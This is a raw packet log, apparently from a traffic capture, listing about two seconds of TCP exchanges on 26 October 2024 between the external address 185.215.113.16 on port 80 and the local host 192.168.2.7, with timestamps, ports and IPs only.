Oct 26, 2024 08:53:28.231889963 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:28.232007980 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:28.232029915 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:28.232040882 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:28.232053041 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:28.232060909 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:28.232065916 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:28.232079029 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:28.232079029 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:28.232094049 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:28.232105970 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:28.232131004 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:28.232151031 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:28.232398987 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:28.232438087 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:28.232443094 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:28.232455969 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:28.232485056 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:28.232490063 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:28.232693911 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:28.232705116 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:28.232717037 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:28.232742071 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:28.232769012 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:28.281342983 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:28.281361103 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:28.281373024 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:28.281497955 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:28.318691015 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:28.318705082 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:28.318718910 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:28.318751097 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:28.318799973 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:28.349205017 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:28.349219084 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:28.349298000 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:28.349642992 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:28.349656105 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:28.349667072 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:28.349698067 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:28.398751974 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:28.398768902 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:28.398781061 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:28.398792028 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:28.398813963 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:28.398842096 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:28.442277908 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:28.442296028 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:28.442341089 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:28.584697962 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:28.584723949 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:28.584737062 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:28.584748983 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:28.584762096 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:28.584856987 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:28.584913015 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:28.665572882 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:28.665596962 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:28.665613890 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:28.665627003 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:28.665638924 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:28.665652037 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:28.665663004 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:28.665673971 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:28.665792942 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:28.665941000 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:28.701962948 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:28.702003956 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:28.702014923 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:28.702084064 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:28.702095985 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:28.702106953 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:28.702280998 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:28.702280998 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:28.782876015 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:28.783036947 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:28.783113003 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:28.819385052 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:28.819405079 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:28.819415092 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:28.819484949 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:28.819494963 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:28.819596052 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:28.819596052 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:28.875236988 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:28.875260115 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:28.875272036 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:28.875555038 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:28.936906099 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:28.936923981 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:28.936933994 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:28.936944962 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:28.936963081 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:28.936974049 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:28.936985016 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:28.937000036 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:28.937067032 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:28.992603064 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:28.992623091 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:28.992636919 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:28.992750883 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:29.054135084 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:29.054225922 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:29.054238081 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:29.054250002 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:29.054263115 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:29.054296017 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:29.054338932 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:29.109704018 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:29.109723091 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:29.109733105 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:29.109774113 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:29.163203955 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:29.163227081 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:29.163307905 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:29.171955109 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:29.171967983 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:29.171984911 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:29.171994925 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:29.172007084 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:29.172019958 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:29.172044039 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:29.212862968 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:29.227097988 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:29.227114916 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:29.227125883 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:29.227274895 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:29.289664030 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:29.289686918 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:29.289702892 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:29.289716005 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:29.289727926 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:29.289738894 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:29.289751053 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:29.289761066 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:29.290011883 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:29.344335079 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:29.344346046 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:29.344389915 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:29.344399929 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:29.344537973 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:29.344537973 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:29.406898022 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:29.406917095 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:29.406928062 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:29.406966925 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:29.406974077 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:29.406981945 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:29.406994104 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:29.407007933 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:29.407037020 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:29.407067060 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:29.407071114 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:29.407083035 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:29.407114983 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:29.461781979 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:29.461805105 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:29.461817026 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:29.461854935 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:29.509721041 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:29.524188042 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:29.524200916 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:29.524214029 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:29.524228096 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:29.524240971 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:29.524241924 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:29.524252892 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:29.524279118 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:29.524301052 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:29.524446964 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:29.524492025 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:29.524503946 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:29.524530888 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:29.572247982 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:29.579348087 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:29.579361916 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:29.579374075 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:29.579387903 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:29.579416990 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:29.579457998 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:29.641908884 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:29.641953945 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:29.641989946 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:29.642024040 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:29.642055988 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:29.642077923 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:29.642101049 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:29.642115116 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:29.642151117 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:29.642167091 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:29.642195940 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:29.642307997 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:29.696877003 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:29.696921110 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:29.696985960 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:29.849227905 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:29.849288940 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:29.849324942 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:29.849358082 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:29.849371910 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:29.849410057 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:29.849416971 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:29.849452019 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:29.849486113 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:29.849518061 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:29.849529982 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:29.849554062 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:29.849570990 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:29.849587917 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:29.849622011 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:29.849637032 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:29.849658966 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:29.849700928 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:29.849708080 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:29.876626968 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:29.876665115 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:29.876699924 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:29.876732111 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:29.876768112 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:29.876775026 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:29.876835108 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:29.876835108 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:29.932442904 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:29.932501078 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:29.932529926 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:29.932564020 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:29.932566881 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:29.932625055 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:29.964148998 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:29.964224100 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:29.964318037 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:29.993940115 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:29.993980885 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:29.994034052 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:29.994066954 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:29.994066954 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:29.994103909 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:29.994133949 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:29.994144917 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:29.994195938 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:30.049935102 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:30.049952984 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:30.049966097 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:30.050084114 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:30.111208916 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:30.111224890 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:30.111242056 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:30.111254930 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:30.111265898 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:30.111279011 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:30.111321926 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:30.111370087 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:30.159050941 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:30.159069061 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:30.159080982 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:30.159121990 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:30.167433977 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:30.167452097 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:30.167464018 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:30.167495012 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:30.167525053 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:30.228710890 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:30.228751898 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:30.228765011 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:30.228776932 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:30.228790998 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:30.228802919 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:30.228854895 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:30.228915930 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:30.276540041 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:30.276556969 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:30.276568890 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:30.276662111 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:30.284718990 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:30.284748077 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:30.284760952 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:30.284773111 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:30.284811974 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:30.284869909 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:30.346230030 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:30.346249104 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:30.346261978 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:30.346396923 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:30.391091108 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:30.391155005 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:30.391886950 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:30.391904116 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:30.391954899 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:30.393594027 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:30.393621922 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:30.393632889 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:30.393667936 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:30.402095079 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:30.402117014 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:30.402129889 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:30.402154922 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:30.402160883 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:30.402189970 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:30.447244883 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:30.463489056 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:30.463515043 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:30.463527918 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:30.463570118 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:30.508354902 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:30.508415937 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:30.508518934 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:30.508533001 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:30.508584976 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:30.511010885 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:30.511034012 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:30.511045933 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:30.511069059 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:30.519671917 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:30.519721031 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:30.519731045 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:30.519742012 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:30.519789934 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:30.519845963 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:30.519860983 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:30.519872904 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:30.519897938 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:30.572237968 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:30.581051111 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:30.581069946 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:30.581084013 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:30.581156969 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:30.625781059 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:30.625822067 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:30.625834942 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:30.625911951 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:30.625951052 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:30.628380060 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:30.628393888 CEST	80	49759	185.215.113.16	192.168.2.7
